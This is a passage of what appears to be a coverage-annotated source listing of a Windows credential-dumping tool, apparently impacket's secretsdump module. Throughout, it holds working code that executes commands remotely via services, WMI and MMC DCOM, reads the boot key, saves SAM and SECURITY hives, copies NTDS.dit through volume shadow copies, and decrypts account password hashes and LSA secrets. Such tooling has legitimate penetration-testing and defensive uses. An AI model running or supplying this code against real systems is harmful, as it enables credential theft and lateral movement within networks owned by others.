710 service = resp['lpServiceHandle'] 

711 scmr.hRDeleteService(self.__scmr, service) 

712 scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) 

713 scmr.hRCloseServiceHandle(self.__scmr, service) 

714 scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle) 

715 scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle) 

716 rpc.disconnect() 

717 except Exception as e: 

718 # If service is stopped it'll trigger an exception 

719 # If service does not exist it'll trigger an exception 

720 # So. we just wanna be sure we delete it, no need to 

721 # show this exception message 

722 pass 

723 

724 def finish(self): 

725 self.__restore() 

726 if self.__rrp is not None: 

727 self.__rrp.disconnect() 

728 if self.__drsr is not None: 

729 self.__drsr.disconnect() 

730 if self.__samr is not None: 

731 self.__samr.disconnect() 

732 if self.__scmr is not None: 

733 try: 

734 self.__scmr.disconnect() 

735 except Exception as e: 

736 if str(e).find('STATUS_INVALID_PARAMETER') >=0: 

737 pass 

738 else: 

739 raise 

740 

741 def getBootKey(self): 

742 bootKey = b'' 

743 ans = rrp.hOpenLocalMachine(self.__rrp) 

744 self.__regHandle = ans['phKey'] 

745 for key in ['JD','Skew1','GBG','Data']: 

746 LOG.debug('Retrieving class info for %s'% key) 

747 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key) 

748 keyHandle = ans['phkResult'] 

749 ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle) 

750 bootKey = bootKey + b(ans['lpClassOut'][:-1]) 

751 rrp.hBaseRegCloseKey(self.__rrp, keyHandle) 

752 

753 transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] 

754 

755 bootKey = unhexlify(bootKey) 

756 

757 for i in range(len(bootKey)): 

758 self.__bootKey += bootKey[transforms[i]:transforms[i]+1] 

759 

760 LOG.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey).decode('utf-8')) 

761 

762 return self.__bootKey 

763 

764 def checkNoLMHashPolicy(self): 

765 LOG.debug('Checking NoLMHash Policy') 

766 ans = rrp.hOpenLocalMachine(self.__rrp) 

767 self.__regHandle = ans['phKey'] 

768 

769 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa') 

770 keyHandle = ans['phkResult'] 

771 try: 

772 dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash') 

773 except: 

774 noLMHash = 0 

775 

776 if noLMHash != 1: 776 ↛ 777line 776 didn't jump to line 777, because the condition on line 776 was never true

777 LOG.debug('LMHashes are being stored') 

778 return False 

779 

780 LOG.debug('LMHashes are NOT being stored') 

781 return True 

782 

783 def __retrieveHive(self, hiveName): 

784 tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp' 

785 ans = rrp.hOpenLocalMachine(self.__rrp) 

786 regHandle = ans['phKey'] 

787 try: 

788 ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName) 

789 except: 

790 raise Exception("Can't open %s hive" % hiveName) 

791 keyHandle = ans['phkResult'] 

792 rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName) 

793 rrp.hBaseRegCloseKey(self.__rrp, keyHandle) 

794 rrp.hBaseRegCloseKey(self.__rrp, regHandle) 

795 # Now let's open the remote file, so it can be read later 

796 remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName) 

797 return remoteFileName 

798 

799 def saveSAM(self): 

800 LOG.debug('Saving remote SAM database') 

801 return self.__retrieveHive('SAM') 

802 

803 def saveSECURITY(self): 

804 LOG.debug('Saving remote SECURITY database') 

805 return self.__retrieveHive('SECURITY') 

806 

807 def __smbExec(self, command): 

808 self.__serviceDeleted = False 

809 resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, 

810 lpBinaryPathName=command) 

811 service = resp['lpServiceHandle'] 

812 try: 

813 scmr.hRStartServiceW(self.__scmr, service) 

814 except: 

815 pass 

816 scmr.hRDeleteService(self.__scmr, service) 

817 self.__serviceDeleted = True 

818 scmr.hRCloseServiceHandle(self.__scmr, service) 

819 

820 def __getInterface(self, interface, resp): 

821 # Now let's parse the answer and build an Interface instance 

822 objRefType = OBJREF(b''.join(resp))['flags'] 

823 objRef = None 

824 if objRefType == FLAGS_OBJREF_CUSTOM: 

825 objRef = OBJREF_CUSTOM(b''.join(resp)) 

826 elif objRefType == FLAGS_OBJREF_HANDLER: 

827 objRef = OBJREF_HANDLER(b''.join(resp)) 

828 elif objRefType == FLAGS_OBJREF_STANDARD: 

829 objRef = OBJREF_STANDARD(b''.join(resp)) 

830 elif objRefType == FLAGS_OBJREF_EXTENDED: 

831 objRef = OBJREF_EXTENDED(b''.join(resp)) 

832 else: 

833 logging.error("Unknown OBJREF Type! 0x%x" % objRefType) 

834 

835 return IRemUnknown2( 

836 INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'], 

837 oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'], 

838 target=interface.get_target())) 

839 

840 def __mmcExec(self,command): 

841 command = command.replace('%COMSPEC%', 'c:\\windows\\system32\\cmd.exe') 

842 username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials() 

843 dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey, 

844 oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) 

845 iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) 

846 iMMC = IDispatch(iInterface) 

847 

848 resp = iMMC.GetIDsOfNames(('Document',)) 

849 

850 dispParams = DISPPARAMS(None, False) 

851 dispParams['rgvarg'] = NULL 

852 dispParams['rgdispidNamedArgs'] = NULL 

853 dispParams['cArgs'] = 0 

854 dispParams['cNamedArgs'] = 0 

855 resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) 

856 

857 iDocument = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) 

858 resp = iDocument.GetIDsOfNames(('ActiveView',)) 

859 resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) 

860 

861 iActiveView = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) 

862 pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0] 

863 

864 pQuit = iMMC.GetIDsOfNames(('Quit',))[0] 

865 

866 dispParams = DISPPARAMS(None, False) 

867 dispParams['rgdispidNamedArgs'] = NULL 

868 dispParams['cArgs'] = 4 

869 dispParams['cNamedArgs'] = 0 

870 arg0 = VARIANT(None, False) 

871 arg0['clSize'] = 5 

872 arg0['vt'] = VARENUM.VT_BSTR 

873 arg0['_varUnion']['tag'] = VARENUM.VT_BSTR 

874 arg0['_varUnion']['bstrVal']['asData'] = 'c:\\windows\\system32\\cmd.exe' 

875 

876 arg1 = VARIANT(None, False) 

877 arg1['clSize'] = 5 

878 arg1['vt'] = VARENUM.VT_BSTR 

879 arg1['_varUnion']['tag'] = VARENUM.VT_BSTR 

880 arg1['_varUnion']['bstrVal']['asData'] = 'c:\\' 

881 

882 arg2 = VARIANT(None, False) 

883 arg2['clSize'] = 5 

884 arg2['vt'] = VARENUM.VT_BSTR 

885 arg2['_varUnion']['tag'] = VARENUM.VT_BSTR 

886 arg2['_varUnion']['bstrVal']['asData'] = command[len('c:\\windows\\system32\\cmd.exe'):] 

887 

888 arg3 = VARIANT(None, False) 

889 arg3['clSize'] = 5 

890 arg3['vt'] = VARENUM.VT_BSTR 

891 arg3['_varUnion']['tag'] = VARENUM.VT_BSTR 

892 arg3['_varUnion']['bstrVal']['asData'] = '7' 

893 dispParams['rgvarg'].append(arg3) 

894 dispParams['rgvarg'].append(arg2) 

895 dispParams['rgvarg'].append(arg1) 

896 dispParams['rgvarg'].append(arg0) 

897 

898 iActiveView.Invoke(pExecuteShellCommand, 0x409, DISPATCH_METHOD, dispParams, 0, [], []) 

899 

900 dispParams = DISPPARAMS(None, False) 

901 dispParams['rgvarg'] = NULL 

902 dispParams['rgdispidNamedArgs'] = NULL 

903 dispParams['cArgs'] = 0 

904 dispParams['cNamedArgs'] = 0 

905 

906 iMMC.Invoke(pQuit, 0x409, DISPATCH_METHOD, dispParams, 0, [], []) 

907 

908 

909 def __wmiExec(self, command): 

910 # Convert command to wmi exec friendly format 

911 command = command.replace('%COMSPEC%', 'cmd.exe') 

912 username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials() 

913 dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey, 

914 oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) 

915 iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) 

916 iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) 

917 iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) 

918 iWbemLevel1Login.RemRelease() 

919 

920 win32Process,_ = iWbemServices.GetObject('Win32_Process') 

921 win32Process.Create(command, '\\', None) 

922 

923 dcom.disconnect() 

924 

925 def __executeRemote(self, data): 

926 self.__tmpServiceName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) 

927 command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \ 

928 self.__shell + self.__batchFile 

929 command += ' & ' + 'del ' + self.__batchFile 

930 

931 LOG.debug('ExecuteRemote command: %s' % command) 

932 if self.__execMethod == 'smbexec': 932 ↛ 934line 932 didn't jump to line 934, because the condition on line 932 was never false

933 self.__smbExec(command) 

934 elif self.__execMethod == 'wmiexec': 

935 self.__wmiExec(command) 

936 elif self.__execMethod == 'mmcexec': 

937 self.__mmcExec(command) 

938 else: 

939 raise Exception('Invalid exec method %s, aborting' % self.__execMethod) 

940 

941 

942 def __answer(self, data): 

943 self.__answerTMP += data 

944 

945 def __getLastVSS(self, forDrive=None): 

946 if forDrive: 946 ↛ 949line 946 didn't jump to line 949, because the condition on line 946 was never false

947 command = '%COMSPEC% /C vssadmin list shadows /for=' + forDrive 

948 else: 

949 command = '%COMSPEC% /C vssadmin list shadows' 

950 self.__executeRemote(command) 

951 time.sleep(5) 

952 tries = 0 

953 while True: 

954 try: 

955 self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) 

956 break 

957 except Exception as e: 

958 if tries > 30: 

959 # We give up 

960 raise Exception('Too many tries trying to list vss shadows') 

961 if str(e).find('SHARING') > 0: 

962 # Stuff didn't finish yet.. wait more 

963 time.sleep(5) 

964 tries +=1 

965 pass 

966 else: 

967 raise 

968 

969 lines = self.__answerTMP.split(b'\n') 

970 lastShadow = b'' 

971 lastShadowFor = b'' 

972 lastShadowId = b'' 

973 

974 # Let's find the last one 

975 # The string used to search the shadow for drive. Wondering what happens 

976 # in other languages 

977 SHADOWFOR = b'Volume: (' 

978 IDSTART = b'Shadow Copy ID: {' 

979 IDLEN=len('3547017b-0ac9-478b-88e6-f9be7e1c11999') 

980 

981 for line in lines: 

982 if line.find(b'GLOBALROOT') > 0: 

983 lastShadow = line[line.find(b'\\\\?'):][:-1] 

984 elif line.find(SHADOWFOR) > 0: 

985 lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2] 

986 elif line.find(IDSTART) > 0: 

987 lastShadowId = line[line.find(IDSTART)+len(IDSTART):][:IDLEN-1] 

988 

989 self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') 

990 

991 LOG.debug('__getLastVSS found last VSS %s on %s with ID of %s' % (lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8'), lastShadowId.decode('utf-8'))) 

992 

993 return lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8'), lastShadowId.decode('utf-8') 

994 

995 def saveNTDS(self): 

996 LOG.info('Searching for NTDS.dit') 

997 # First of all, let's try to read the target NTDS.dit registry entry 

998 ans = rrp.hOpenLocalMachine(self.__rrp) 

999 regHandle = ans['phKey'] 

1000 try: 

1001 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters') 

1002 keyHandle = ans['phkResult'] 

1003 except: 

1004 # Can't open the registry path, assuming no NTDS on the other end 

1005 return None 

1006 

1007 try: 

1008 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file') 

1009 ntdsLocation = dataValue[:-1] 

1010 ntdsDrive = ntdsLocation[:2] 

1011 except: 

1012 # Can't open the registry path, assuming no NTDS on the other end 

1013 return None 

1014 

1015 rrp.hBaseRegCloseKey(self.__rrp, keyHandle) 

1016 rrp.hBaseRegCloseKey(self.__rrp, regHandle) 

1017 

1018 LOG.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation) 

1019 LOG.info('Using %s method for remote execution' % self.__execMethod) 

1020 # Get the list of remote shadows 

1021 shadow, shadowFor, shadowId = self.__getLastVSS(forDrive=ntdsDrive) 

1022 if shadow == '' or (shadow != '' and shadowFor != ntdsDrive): 1022 ↛ 1024line 1022 didn't jump to line 1024, because the condition on line 1022 was never true

1023 # No shadow, create one 

1024 self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive) 

1025 shadow, shadowFor, shadowId = self.__getLastVSS(forDrive=ntdsDrive) 

1026 shouldRemove = True 

1027 if shadow == '' or shadowFor != ntdsDrive: 

1028 raise Exception('Could not get a VSS') 

1029 else: 

1030 # There was already a shadow, let's not delete this 

1031 shouldRemove = False 

1032 

1033 # Now copy the ntds.dit to the temp directory 

1034 tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp' 

1035 

1036 self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName)) 

1037 

1038 if shouldRemove is True: 1038 ↛ 1039line 1038 didn't jump to line 1039, because the condition on line 1038 was never true

1039 LOG.debug('Trying to delete shadow copy using command : %%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quiet' % shadowId) 

1040 self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quiet' % shadowId) 

1041 

1042 

1043 tries = 0 

1044 while True: 

1045 try: 

1046 self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') 

1047 break 

1048 except Exception as e: 

1049 if tries >= 30: 

1050 raise e 

1051 if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0 or str(e).find('STATUS_SHARING_VIOLATION') >=0: 

1052 tries += 1 

1053 time.sleep(5) 

1054 pass 

1055 else: 

1056 logging.error('Cannot delete target file \\\\%s\\ADMIN$\\Temp\\__output: %s' % (self.__smbConnection.getRemoteHost(), str(e))) 

1057 pass 

1058 

1059 remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName) 

1060 

1061 return remoteFileName 

1062 

1063class CryptoCommon: 

1064 # Common crypto stuff used over different classes 

1065 def deriveKey(self, baseKey): 

1066 # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key 

1067 # Let I be the little-endian, unsigned integer. 

1068 # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes. 

1069 # Note that because I is in little-endian byte order, I[0] is the least significant byte. 

1070 # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2]. 

1071 # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1] 

1072 key = pack('<L',baseKey) 

1073 key1 = [key[0] , key[1] , key[2] , key[3] , key[0] , key[1] , key[2]] 

1074 key2 = [key[3] , key[0] , key[1] , key[2] , key[3] , key[0] , key[1]] 

1075 if PY2: 1075 ↛ 1076line 1075 didn't jump to line 1076, because the condition on line 1075 was never true

1076 return transformKey(b''.join(key1)),transformKey(b''.join(key2)) 

1077 else: 

1078 return transformKey(bytes(key1)),transformKey(bytes(key2)) 

1079 

1080 @staticmethod 

1081 def decryptAES(key, value, iv=b'\x00'*16): 

1082 plainText = b'' 

1083 if iv != b'\x00'*16: 1083 ↛ 1084line 1083 didn't jump to line 1084, because the condition on line 1083 was never true

1084 aes256 = AES.new(key,AES.MODE_CBC, iv) 

1085 

1086 for index in range(0, len(value), 16): 

1087 if iv == b'\x00'*16: 1087 ↛ 1089line 1087 didn't jump to line 1089, because the condition on line 1087 was never false

1088 aes256 = AES.new(key,AES.MODE_CBC, iv) 

1089 cipherBuffer = value[index:index+16] 

1090 # Pad buffer to 16 bytes 

1091 if len(cipherBuffer) < 16: 1091 ↛ 1092line 1091 didn't jump to line 1092, because the condition on line 1091 was never true

1092 cipherBuffer += b'\x00' * (16-len(cipherBuffer)) 

1093 plainText += aes256.decrypt(cipherBuffer) 

1094 

1095 return plainText 

1096 

1097 

1098class OfflineRegistry: 

1099 def __init__(self, hiveFile = None, isRemote = False): 

1100 self.__hiveFile = hiveFile 

1101 if self.__hiveFile is not None: 1101 ↛ exitline 1101 didn't return from function '__init__', because the condition on line 1101 was never false

1102 self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote) 

1103 

1104 def enumKey(self, searchKey): 

1105 parentKey = self.__registryHive.findKey(searchKey) 

1106 

1107 if parentKey is None: 1107 ↛ 1108line 1107 didn't jump to line 1108, because the condition on line 1107 was never true

1108 return 

1109 

1110 keys = self.__registryHive.enumKey(parentKey) 

1111 

1112 return keys 

1113 

1114 def enumValues(self, searchKey): 

1115 key = self.__registryHive.findKey(searchKey) 

1116 

1117 if key is None: 1117 ↛ 1118line 1117 didn't jump to line 1118, because the condition on line 1117 was never true

1118 return 

1119 

1120 values = self.__registryHive.enumValues(key) 

1121 

1122 return values 

1123 

1124 def getValue(self, keyValue): 

1125 value = self.__registryHive.getValue(keyValue) 

1126 

1127 if value is None: 1127 ↛ 1128line 1127 didn't jump to line 1128, because the condition on line 1127 was never true

1128 return 

1129 

1130 return value 

1131 

1132 def getClass(self, className): 

1133 value = self.__registryHive.getClass(className) 

1134 

1135 if value is None: 

1136 return 

1137 

1138 return value 

1139 

1140 def finish(self): 

1141 if self.__hiveFile is not None: 1141 ↛ exitline 1141 didn't return from function 'finish', because the condition on line 1141 was never false

1142 # Remove temp file and whatever else is needed 

1143 self.__registryHive.close() 

1144 

1145class SAMHashes(OfflineRegistry): 

1146 def __init__(self, samFile, bootKey, isRemote = False, perSecretCallback = lambda secret: _print_helper(secret)): 

1147 OfflineRegistry.__init__(self, samFile, isRemote) 

1148 self.__samFile = samFile 

1149 self.__hashedBootKey = b'' 

1150 self.__bootKey = bootKey 

1151 self.__cryptoCommon = CryptoCommon() 

1152 self.__itemsFound = {} 

1153 self.__perSecretCallback = perSecretCallback 

1154 

1155 def MD5(self, data): 

1156 md5 = hashlib.new('md5') 

1157 md5.update(data) 

1158 return md5.digest() 

1159 

1160 def getHBootKey(self): 

1161 LOG.debug('Calculating HashedBootKey from SAM') 

1162 QWERTY = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" 

1163 DIGITS = b"0123456789012345678901234567890123456789\0" 

1164 

1165 F = self.getValue(ntpath.join(r'SAM\Domains\Account','F'))[1] 

1166 

1167 domainData = DOMAIN_ACCOUNT_F(F) 

1168 

1169 if domainData['Key0'][0:1] == b'\x01': 1169 ↛ 1182line 1169 didn't jump to line 1182, because the condition on line 1169 was never false

1170 samKeyData = SAM_KEY_DATA(domainData['Key0']) 

1171 

1172 rc4Key = self.MD5(samKeyData['Salt'] + QWERTY + self.__bootKey + DIGITS) 

1173 rc4 = ARC4.new(rc4Key) 

1174 self.__hashedBootKey = rc4.encrypt(samKeyData['Key']+samKeyData['CheckSum']) 

1175 

1176 # Verify key with checksum 

1177 checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY) 

1178 

1179 if checkSum != self.__hashedBootKey[16:]: 1179 ↛ 1180line 1179 didn't jump to line 1180, because the condition on line 1179 was never true

1180 raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(') 

1181 

1182 elif domainData['Key0'][0:1] == b'\x02': 

1183 # This is Windows 2016 TP5 on in theory (it is reported that some W10 and 2012R2 might behave this way also) 

1184 samKeyData = SAM_KEY_DATA_AES(domainData['Key0']) 

1185 

1186 self.__hashedBootKey = self.__cryptoCommon.decryptAES(self.__bootKey, 

1187 samKeyData['Data'][:samKeyData['DataLen']], samKeyData['Salt']) 

1188 

1189 def __decryptHash(self, rid, cryptedHash, constant, newStyle = False): 

1190 # Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key 

1191 # plus hashedBootKey stuff 

1192 Key1,Key2 = self.__cryptoCommon.deriveKey(rid) 

1193 

1194 Crypt1 = DES.new(Key1, DES.MODE_ECB) 

1195 Crypt2 = DES.new(Key2, DES.MODE_ECB) 

1196 

1197 if newStyle is False: 1197 ↛ 1202line 1197 didn't jump to line 1202, because the condition on line 1197 was never false

1198 rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant ) 

1199 rc4 = ARC4.new(rc4Key) 

1200 key = rc4.encrypt(cryptedHash['Hash']) 

1201 else: 

1202 key = self.__cryptoCommon.decryptAES(self.__hashedBootKey[:0x10], cryptedHash['Hash'], cryptedHash['Salt'])[:16] 

1203 

1204 decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:]) 

1205 

1206 return decryptedHash 

1207 

1208 def dump(self): 

1209 NTPASSWORD = b"NTPASSWORD\0" 

1210 LMPASSWORD = b"LMPASSWORD\0" 

1211 

1212 if self.__samFile is None: 1212 ↛ 1214line 1212 didn't jump to line 1214, because the condition on line 1212 was never true

1213 # No SAM file provided 

1214 return 

1215 

1216 LOG.info('Dumping local SAM hashes (uid:rid:lmhash:nthash)') 

1217 self.getHBootKey() 

1218 

1219 usersKey = 'SAM\\Domains\\Account\\Users' 

1220 

1221 # Enumerate all the RIDs 

1222 rids = self.enumKey(usersKey) 

1223 # Remove the Names item 

1224 try: 

1225 rids.remove('Names') 

1226 except: 

1227 pass 

1228 

1229 for rid in rids: 

1230 userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1]) 

1231 rid = int(rid,16) 

1232 

1233 V = userAccount['Data'] 

1234 

1235 userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le') 

1236 

1237 if userAccount['NTHashLength'] == 0: 1237 ↛ 1238line 1237 didn't jump to line 1238, because the condition on line 1237 was never true

1238 logging.error('SAM hashes extraction for user %s failed. The account doesn\'t have hash information.' % userName) 

1239 continue 

1240 

1241 encNTHash = b'' 

1242 if V[userAccount['NTHashOffset']:][2:3] == b'\x01': 1242 ↛ 1251line 1242 didn't jump to line 1251, because the condition on line 1242 was never false

1243 # Old Style hashes 

1244 newStyle = False 

1245 if userAccount['LMHashLength'] == 20: 1245 ↛ 1246line 1245 didn't jump to line 1246, because the condition on line 1245 was never true

1246 encLMHash = SAM_HASH(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']]) 

1247 if userAccount['NTHashLength'] == 20: 

1248 encNTHash = SAM_HASH(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']]) 

1249 else: 

1250 # New Style hashes 

1251 newStyle = True 

1252 if userAccount['LMHashLength'] == 24: 

1253 encLMHash = SAM_HASH_AES(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']]) 

1254 encNTHash = SAM_HASH_AES(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']]) 

1255 

1256 LOG.debug('NewStyle hashes is: %s' % newStyle) 

1257 if userAccount['LMHashLength'] >= 20: 1257 ↛ 1258line 1257 didn't jump to line 1258, because the condition on line 1257 was never true

1258 lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD, newStyle) 

1259 else: 

1260 lmHash = b'' 

1261 

1262 if encNTHash != b'': 

1263 ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD, newStyle) 

1264 else: 

1265 ntHash = b'' 

1266 

1267 if lmHash == b'': 1267 ↛ 1269line 1267 didn't jump to line 1269, because the condition on line 1267 was never false

1268 lmHash = ntlm.LMOWFv1('','') 

1269 if ntHash == b'': 

1270 ntHash = ntlm.NTOWFv1('','') 

1271 

1272 answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash).decode('utf-8'), hexlify(ntHash).decode('utf-8')) 

1273 self.__itemsFound[rid] = answer 

1274 self.__perSecretCallback(answer) 

1275 

1276 def export(self, baseFileName, openFileFunc = None): 

1277 if len(self.__itemsFound) > 0: 

1278 items = sorted(self.__itemsFound) 

1279 fileName = baseFileName+'.sam' 

1280 fd = openFile(fileName, openFileFunc=openFileFunc) 

1281 for item in items: 

1282 fd.write(self.__itemsFound[item]+'\n') 

1283 fd.close() 

1284 return fileName 

1285 

1286class LSASecrets(OfflineRegistry): 

1287 UNKNOWN_USER = '(Unknown User)' 

1288 class SECRET_TYPE: 

1289 LSA = 0 

1290 LSA_HASHED = 1 

1291 LSA_RAW = 2 

1292 LSA_KERBEROS = 3 

1293 

1294 def __init__(self, securityFile, bootKey, remoteOps=None, isRemote=False, history=False, 

1295 perSecretCallback=lambda secretType, secret: _print_helper(secret)): 

1296 OfflineRegistry.__init__(self, securityFile, isRemote) 

1297 self.__hashedBootKey = b'' 

1298 self.__bootKey = bootKey 

1299 self.__LSAKey = b'' 

1300 self.__NKLMKey = b'' 

1301 self.__vistaStyle = True 

1302 self.__cryptoCommon = CryptoCommon() 

1303 self.__securityFile = securityFile 

1304 self.__remoteOps = remoteOps 

1305 self.__cachedItems = [] 

1306 self.__secretItems = [] 

1307 self.__perSecretCallback = perSecretCallback 

1308 self.__history = history 

1309 

1310 def MD5(self, data): 

1311 md5 = hashlib.new('md5') 

1312 md5.update(data) 

1313 return md5.digest() 

1314 

1315 def __sha256(self, key, value, rounds=1000): 

1316 sha = hashlib.sha256() 

1317 sha.update(key) 

1318 for i in range(1000): 

1319 sha.update(value) 

1320 return sha.digest() 

1321 

1322 def __decryptSecret(self, key, value): 

1323 # [MS-LSAD] Section 5.1.2 

1324 plainText = b'' 

1325 

1326 encryptedSecretSize = unpack('<I', value[:4])[0] 

1327 value = value[len(value)-encryptedSecretSize:] 

1328 

1329 key0 = key 

1330 for i in range(0, len(value), 8): 

1331 cipherText = value[:8] 

1332 tmpStrKey = key0[:7] 

1333 tmpKey = transformKey(tmpStrKey) 

1334 Crypt1 = DES.new(tmpKey, DES.MODE_ECB) 

1335 plainText += Crypt1.decrypt(cipherText) 

1336 key0 = key0[7:] 

1337 value = value[8:] 

1338 # AdvanceKey 

1339 if len(key0) < 7: 

1340 key0 = key[len(key0):] 

1341 

1342 secret = LSA_SECRET_XP(plainText) 

1343 return secret['Secret'] 

1344 

1345 def __decryptHash(self, key, value, iv): 

1346 hmac_md5 = HMAC.new(key,iv,MD5) 

1347 rc4key = hmac_md5.digest() 

1348 

1349 rc4 = ARC4.new(rc4key) 

1350 data = rc4.encrypt(value) 

1351 return data 

1352 

1353 def __decryptLSA(self, value): 

1354 if self.__vistaStyle is True: 1354 ↛ 1363line 1354 didn't jump to line 1363, because the condition on line 1354 was never false

1355 # ToDo: There could be more than one LSA Keys 

1356 record = LSA_SECRET(value) 

1357 tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32]) 

1358 plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:]) 

1359 record = LSA_SECRET_BLOB(plainText) 

1360 self.__LSAKey = record['Secret'][52:][:32] 

1361 

1362 else: 

1363 md5 = hashlib.new('md5') 

1364 md5.update(self.__bootKey) 

1365 for i in range(1000): 

1366 md5.update(value[60:76]) 

1367 tmpKey = md5.digest() 

1368 rc4 = ARC4.new(tmpKey) 

1369 plainText = rc4.decrypt(value[12:60]) 

1370 self.__LSAKey = plainText[0x10:0x20] 

1371 

1372 def __getLSASecretKey(self): 

1373 LOG.debug('Decrypting LSA Key') 

1374 # Let's try the key post XP 

1375 value = self.getValue('\\Policy\\PolEKList\\default') 

1376 if value is None: 1376 ↛ 1377line 1376 didn't jump to line 1377, because the condition on line 1376 was never true

1377 LOG.debug('PolEKList not found, trying PolSecretEncryptionKey') 

1378 # Second chance 

1379 value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default') 

1380 self.__vistaStyle = False 

1381 if value is None: 

1382 # No way :( 

1383 return None 

1384 

1385 self.__decryptLSA(value[1]) 

1386 

1387 def __getNLKMSecret(self): 

1388 LOG.debug('Decrypting NL$KM') 

1389 value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default') 

1390 if value is None: 1390 ↛ 1391line 1390 didn't jump to line 1391, because the condition on line 1390 was never true

1391 raise Exception("Couldn't get NL$KM value") 

1392 if self.__vistaStyle is True: 1392 ↛ 1397line 1392 didn't jump to line 1397, because the condition on line 1392 was never false

1393 record = LSA_SECRET(value[1]) 

1394 tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32]) 

1395 self.__NKLMKey = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:]) 

1396 else: 

1397 self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1]) 

1398 

